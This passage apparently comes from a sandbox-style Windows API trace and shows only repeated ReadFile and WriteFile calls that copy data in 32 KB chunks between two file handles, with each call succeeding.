	[0253.268] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.269] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.270] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.270] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.272] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.272] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.273] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.273] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.275] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.276] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.296] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.296] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.298] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.298] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.299] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.300] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.301] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.301] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.303] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.303] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.304] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.305] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.306] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.306] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.307] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.309] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.422] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.422] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.423] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.423] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.424] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.424] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.425] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.425] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.426] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.427] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.428] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.428] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.429] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.430] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.431] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.454] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.574] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.575] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.576] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.576] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.577] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.577] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.578] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.578] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.579] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.579] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.580] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.581] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.582] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.582] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.583] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.584] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.589] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.589] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.590] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.590] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.591] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.591] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.592] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.593] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.593] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.594] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.595] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.595] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.596] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.596] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.597] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.599] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.602] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.602] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.603] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.603] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.709] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.710] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.710] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.711] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.711] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.712] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.713] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.713] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.714] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.715] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.716] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.717] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.065] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.065] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.067] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
